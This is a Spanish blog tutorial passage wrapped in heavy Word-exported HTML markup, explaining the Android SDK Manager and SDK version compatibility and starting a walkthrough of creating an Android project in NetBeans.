<w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript>
<w:Compatibility>
<w:BreakWrappedTables/>
<w:SnapToGridInCell/>
<w:WrapTextWithPunct/>
<w:UseAsianBreakRules/>
<w:DontGrowAutofit/>
<w:SplitPgBreakAndParaMark/>
<w:EnableOpenTypeKerning/>
<w:DontFlipMirrorIndents/>
<w:OverrideTableStyleHps/>
</w:Compatibility>
<m:mathPr>
<m:mathFont m:val="Cambria Math"/>
<m:brkBin m:val="before"/>
<m:brkBinSub m:val="--"/>
<m:smallFrac m:val="off"/>
<m:dispDef/>
<m:lMargin m:val="0"/>
<m:rMargin m:val="0"/>
<m:defJc m:val="centerGroup"/>
<m:wrapIndent m:val="1440"/>
<m:intLim m:val="subSup"/>
<m:naryLim m:val="undOvr"/>
</m:mathPr></w:WordDocument>
</xml><![endif]--><span style="font-family: "Calibri","sans-serif"; font-size: 11.0pt; line-height: 115%; mso-ansi-language: ES; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: "Times New Roman"; mso-bidi-language: AR-SA; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;"><!--[if gte mso 9]><xml>
<w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="true"
DefSemiHidden="true" DefQFormat="false" DefPriority="99"
LatentStyleCount="267">
<w:LsdException Locked="false" Priority="0" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Normal"/>
<w:LsdException Locked="false" Priority="9" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="heading 1"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 3"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9"/>
<w:LsdException Locked="false" Priority="39" Name="toc 1"/>
<w:LsdException Locked="false" Priority="39" Name="toc 2"/>
<w:LsdException Locked="false" Priority="39" Name="toc 3"/>
<w:LsdException Locked="false" Priority="39" Name="toc 4"/>
<w:LsdException Locked="false" Priority="39" Name="toc 5"/>
<w:LsdException Locked="false" Priority="39" Name="toc 6"/>
<w:LsdException Locked="false" Priority="39" Name="toc 7"/>
<w:LsdException Locked="false" Priority="39" Name="toc 8"/>
<w:LsdException Locked="false" Priority="39" Name="toc 9"/>
<w:LsdException Locked="false" Priority="35" QFormat="true" Name="caption"/>
<w:LsdException Locked="false" Priority="10" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Title"/>
<w:LsdException Locked="false" Priority="1" Name="Default Paragraph Font"/>
<w:LsdException Locked="false" Priority="11" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtitle"/>
<w:LsdException Locked="false" Priority="22" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Strong"/>
<w:LsdException Locked="false" Priority="20" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Emphasis"/>
<w:LsdException Locked="false" Priority="59" SemiHidden="false"
UnhideWhenUsed="false" Name="Table Grid"/>
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text"/>
<w:LsdException Locked="false" Priority="1" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="No Spacing"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 1"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 1"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 1"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 1"/>
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Revision"/>
<w:LsdException Locked="false" Priority="34" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="List Paragraph"/>
<w:LsdException Locked="false" Priority="29" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Quote"/>
<w:LsdException Locked="false" Priority="30" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Quote"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 1"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 1"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 1"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 1"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 1"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 2"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 2"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 2"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 2"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 2"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 2"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 2"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 2"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 2"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 2"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 3"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 3"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 3"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 3"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 3"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 3"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 3"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 3"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 3"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 4"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 4"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 4"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 4"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 4"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 4"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 4"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 4"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 4"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 5"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 5"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 5"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 5"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 5"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 5"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 5"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 5"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 5"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 6"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 6"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 6"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 6"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 6"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 6"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 6"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 6"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 6"/>
<w:LsdException Locked="false" Priority="19" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis"/>
<w:LsdException Locked="false" Priority="21" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis"/>
<w:LsdException Locked="false" Priority="31" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference"/>
<w:LsdException Locked="false" Priority="32" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Reference"/>
<w:LsdException Locked="false" Priority="33" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Book Title"/>
<w:LsdException Locked="false" Priority="37" Name="Bibliography"/>
<w:LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading"/>
</w:LatentStyles>
</xml><![endif]--><!--[if gte mso 10]>
<style>
/* Style Definitions */
table.MsoNormalTable
{mso-style-name:"Tabla normal";
mso-tstyle-rowband-size:0;
mso-tstyle-colband-size:0;
mso-style-noshow:yes;
mso-style-priority:99;
mso-style-parent:"";
mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
mso-para-margin-top:0cm;
mso-para-margin-right:0cm;
mso-para-margin-bottom:10.0pt;
mso-para-margin-left:0cm;
line-height:115%;
mso-pagination:widow-orphan;
font-size:11.0pt;
font-family:"Calibri","sans-serif";
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;
mso-bidi-font-family:"Times New Roman";
mso-bidi-theme-font:minor-bidi;
mso-fareast-language:EN-US;}
</style>
<![endif]-->
</span></span><br />
<div class="MsoListParagraphCxSpFirst">
<span style="font-family: "Calibri","sans-serif"; font-size: 11.0pt; line-height: 115%; mso-ansi-language: ES; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: "Times New Roman"; mso-bidi-language: AR-SA; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;"><span style="font-family: "Calibri","sans-serif"; font-size: 11.0pt; line-height: 115%; mso-ansi-language: ES; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: "Times New Roman"; mso-bidi-language: AR-SA; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;"><span style="mso-ansi-language: ES;">Una
vez que hemos visto que hace <b style="mso-bidi-font-weight: normal;">el AVD
Manager</b>, veamos para que sirve el icono del<span style="mso-spacerun: yes;">
</span><b style="mso-bidi-font-weight: normal;">SDK Manager.</b></span></span></span></div>
<span style="font-family: "Calibri","sans-serif"; font-size: 11.0pt; line-height: 115%; mso-ansi-language: ES; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: "Times New Roman"; mso-bidi-language: AR-SA; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;"><span style="font-family: "Calibri","sans-serif"; font-size: 11.0pt; line-height: 115%; mso-ansi-language: ES; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: "Times New Roman"; mso-bidi-language: AR-SA; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">
<div class="MsoListParagraphCxSpMiddle" style="margin-left: 72.0pt; mso-add-space: auto;">
<br /></div>
<div class="MsoListParagraphCxSpMiddle">
<span style="mso-ansi-language: ES;">Como
veréis en la siguiente captura, sirve para gestionar las diferentes versiones
instaladas del SDK. Se recomienda instalar tantas versiones como pensemos usar
del SDK. Este es un punto MUY importante en el que debemos pararnos pq podemos
“cagarla”<span style="mso-spacerun: yes;"> </span>bastante. <b style="mso-bidi-font-weight: normal;">Algo que debemos tener en cuenta es que cada versión del sdk de Android
dispone de una serie de funciones que en ocasiones no son compatibles. </b></span><br />
<br />
<span style="mso-ansi-language: ES;"><b style="mso-bidi-font-weight: normal;">Si vamos
a trabajar con un dispositivo con un sdk determinado, estaremos limitados a las
funciones que “rulan” para esa versión de SDK.</b> Debemos asegurarnos por lo
tanto muy muy bien de la versión de SDK que utilizaremos, y <b style="mso-bidi-font-weight: normal;">a la hora de programar debemos también usar funciones que sean lo más
compatibles posibles en las diferentes versiones de SDK</b> que pueden
encontrarse instaladas en los dispositivos Android.</span></div>
<div class="MsoListParagraphCxSpMiddle">
<br /></div>
<div class="MsoListParagraphCxSpLast">
<span style="mso-ansi-language: ES;">El
dispositivo virtual se puede crear con una versión concreta de SDK y los
dispositivos físicos es sencillo ver que versión de SDK tienen instalada.</span></div>
</span></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-fMzilj_jqsA/UJRKMotTuNI/AAAAAAAAAMA/f8ZGsZcAm18/s1600/img6.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="628" src="http://4.bp.blogspot.com/-fMzilj_jqsA/UJRKMotTuNI/AAAAAAAAAMA/f8ZGsZcAm18/s640/img6.jpg" width="640" /></a></div>
<div class="MsoNormal">
<span style="font-family: "Calibri","sans-serif"; font-size: 11.0pt; line-height: 115%; mso-ansi-language: ES; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: "Times New Roman"; mso-bidi-language: AR-SA; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;"><span style="font-family: "Calibri","sans-serif"; font-size: 11.0pt; line-height: 115%; mso-ansi-language: ES; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: "Times New Roman"; mso-bidi-language: AR-SA; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;"><br /></span></span></div>
<div class="MsoNormal">
<br />
2. Ok si hemos seguido estos pasos de forma correcta ya tendremos nuestro “chiringuito” listo para programar en Netbeans aplicaciones Android. Ahora veamos como se crea un proyecto en Netbeans para Android: Vamos al menú File, pulsamos sobre new Project y veremos una ventana como la siguiente:<br />
<br />
</div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-vlh_3aA8h2c/UJRLrESwhGI/AAAAAAAAAMI/EsD9fkgOyIo/s1600/img7.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="436" src="http://2.bp.blogspot.com/-vlh_3aA8h2c/UJRLrESwhGI/AAAAAAAAAMI/EsD9fkgOyIo/s640/img7.jpg" width="640" /></a><a href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAVgAAAE2CAIAAACr8B09AAAY7UlEQVR4nO2dfWwc5Z3H/Xdf/mlVqKpWAp3USlVPJ0Wi11sF1PaAlKaJrvSA6hJeWnrbtOWgoneFUOWgORRKopJVhRJIL+iOa2MuCqRuzGJMiJ2QEEgwV1ITQzaO81rsrENie/2yu9793R+7nnnmmWd2d9Y7uzPO5yNLjJ95ZvaZYeY7zzPr55M2AYDLnrZWNwAAWg9BAAB+giB7YefkB09kzv56/OTjYyd+NTb4+MXUug/f/4/RgUfOv7sm/f6GzPm9wTUUAIKj9iAoTn7w6/xURyE/kjn/9IWhx473rc5N7i7k9pV+spnk8LuPBdhSAAgMHz2CyQ9+nZ/uzE93isyKzJ48/KN3X3946sMXZrM9+elXcpmXzvbdH1xDASA46gmC/HSniAy+8YN3eh88d+SXucxL2fGO6Ys7Tr/108DaCQAB4icI/qIGweyx/Xf+ac+/nvm/NdMXd0yO/n5i5JlTh+719+GpRCyWSFUuAYgofi/mll78PoJg4tz6UgpkJ/9QLGQGev/p7d33nnrr5xMjz4yf23zpdGLozZ/4+3CCACJHKhFrKzN3qSbj5YJ40lkxlkgZ1tp7cFzr5fo1718kGbd2YNjKu8Gmyj6CYPzMr0opMD22fTY33P/qrX0vrzr55k8vnU58eOLx0WNrT791X3pwW+07JAggeiTjc7djMt4WS6RSidjcDVoqsCvGEilJxstr5+opl7ipvmv/7j3MLav3sWsr7wabK/sIgksnHy2lQGb0f6bGXj/SffPh5PdOvP6j0WNrzw88NPznn/3lT/9y/MA/a1sZ0kcpKpe5S8y7iCelfCYTzpD0CFmA4Cjd0tZ9KiLuZaXEfuIrN4J9uarbeuxfe0yan5oVnqXeD95UwkcQfHjil6UUuPTBb0dP/eZPLy1/848rju+7uxQBZ/vio6Ojqdfu9ty+fETJuNXFKTfDXaJt5kzEVCLW5sxgRyhrZxMgGOyrV+2gK0/78tXujgmrq+/oD5hzwLwH/dNcW1VosKnEVxCMptZYKTCcevztzm++sfMfj/WsPNsXP3PorlMHV4yOjh7b933Dx6tPe7U1pWV3ibJRLB53rG2LJw31S2eWCICmodz/6hWuPKHiSTEGwVyR+kBz54C1f19B4BoXVFrlKPERBCPvrbZS4Gz/I2/9ccnrO5a/v/vWUwdXnDxw69BrN4+Ojr6/9y5tq5h6vmoOAhttrTkIrAMjDqAJeNxv9tVoLbk69o4rVnkiO657df+1Dw3qTwHxFQQf9P+blQIn337g0B9u2P+/N73XffPQazef2Lv8xN7lt788+F7vHdpW6oBo7t2H8vLSXKK12DU0cEVJ3DTqAmg8pmtUX+EeItiv+pwDYeW1V8pj/8aXhVJtq0oNNpX4CIKz7/zUSoHBN+87tPP6/c/dMNC1vJQCJ/Yuv+n3fx7ouV3byh4PWZ38uaJKJfqR6C8LTUMD3hVC4DjGAW1t6tXn0a+t/vWhfkdr+zd9fahWm3tvpm3l2WBDZV9BcOrte6wUOLb/h4d2Xv/atr9Xg2Bw7z8cP/izuk8xwMLA/eKvsfWDwM/QYGDj+6/debT39qM9dxztuevQzuv3blva33XrQO8dAz23H92z8vjB+y+cbvUBAbSYKOaATx9BfubChTPdqTcffmvXsgMdPxh854Xs5HBALQOApoGYBAAIAgAgCABACAIAEIIAAIQgAADBYgwAgsUYAASLMQAIFmMAkKZajJkiDJcVWIzNEASwAIicxdhdWZm2b+2yiRZjggAWAJGzGFeqbDcmcItxRWexKmMzWRYIDggvkbIYm4ttf2LgFuMKzmIlIzX3CkpiCD3Rshjr5aWnrR0xgVuMq6hKNRlp+WjdwyGAUBE1i7Fnj8D/0KBOi7HvILCaSBxAOImcxdizp2DtPXCLsclZXGVogJIYwkvkLMauyvYdZmVHEyzGBkOx+2Wh0rmKJ1ESQ3iJnMXYXdnw7SEWY4CGE0V7KRZjgMYSxRzAYgwAiEkAQAgCABCCAACEIAAAIQgAQAgCABAsxgAgWIwBQLAYA4BgMQYAaarFGOCyAouxbzAPQFSInMXYvcpUuYkW4woQBBAVImcxdq8yVW6mxdiSN2nSIqVGPB6LJRLxcvhVyjKCA1pMpCzG5lVzJU2xGLsOo5xspjPiEDoqlM4GgmMID9GyGBtXKfdd8BZjVaGkytrU0+AlcdT/TQSMphASomYxNqxylDTRYqy1oWoQqD5GvRNFHEALiZzFuEoKSFMsxu5b1ho+qZlq0rmq62OJFIJjaDmRsxi7V5lKgrcYm7r3dv9JXVRNx0qhUo7gGFpM5CzG7lWGyliMARpOFO2lWIwBGksUcwCLMQAgJgEAIQgAQAgCABCCAACEIAAAIQgAQLAYA4BgMQYAwWIMAILFGACkBRbj2icQz825av3fYQPUARbjStSqUqpgWQBoHZGzGLsrm3bYdItxjUGgSxgAwkHkLMZ6ZXODA7cYx2LxeEzJH9ubqkWYmpMJS0DiFCnYOpey6TiVsPYfT5br2WetYkICzI9IWYztYlODm2Axjjk6OKVb12VPs+5dg+TF1hjZ9mOH7Mnqf80t6DFNzwICIFoWY8cN5WpwMyzG2rA/6TCX630C9yl1jxcqV7NPH+8ZITiiZjH21KGVd9hMi7ESBEZDcSODwPpE4gAaTuQsxtW7D4FbjGPqEVknwm0oFtfLkApDg6pBgO8YAiJyFmN3ZVODA7cY650Q15cqqrm47DJ2vlJRejLeynPz0IB3hdBgImcxdld2N7gZFmOex3C5EUV7aeAWY4IALjOimANYjAEAMQkACEEAAEIQAIAQBAAgBAEACEEAAILFGAAEizEACBZjABAsxgAgWIwNMHEZGgIW40q0xGLs6xQTBFCBBWAxNlW+PCzGBAE0ishbjM2VF6zF2H0e2izliWdCO8QnHsENUCIVTYuxqXTBWow9z4Jrb14qNEfQt366OIQO24VlUhOF12JsKly4FmN7944Urro3uwTxKVQgyhZjU+WFbTF2nQUfQWC1mTgAjQVgMdYrL1CLsfssKL2yGocGeJDBgPoM81rhHiKYrjf7stSfRvot22CLsbvywrUY6zj2XNPLQjzIYMAxDoimxdhQGYsxQMOJor0UizFAY4liDmAxBgDEJAAgBAEACEEAAEIQAIAQBAAgBAEACBZjABAsxgAgWIwBQLAYA4C0wGJcN8wGhmjh94pt6RXedItx3RAEEAaUSbzO2fO6wMY14T40FmPTDptuMa4bggDCQOQtxuYGB24x1uJPT66Uh4ZYKVdKNNmhcmQVwxAgAFLRtBibGtwUi7GHC7jUBsuapGmIVZuSQ39sksChG4bmY1+QJjVReC3GpgY3wWKsyz9VT5IqL9QW9LBUracqpdB1D58AAiXKFmNTgwO3GM+1z+r7O/tFdQSB+UiJA2gaC8BirBcGbjF2uICT9geXM6GWIFD1x6oEdu5g0A1D81gAFmNTgwO3GGsuYF1eXCEItN6L4WWhUyLLu0IIngVgMXY3uBkW4zrh6Q6RJYr20sA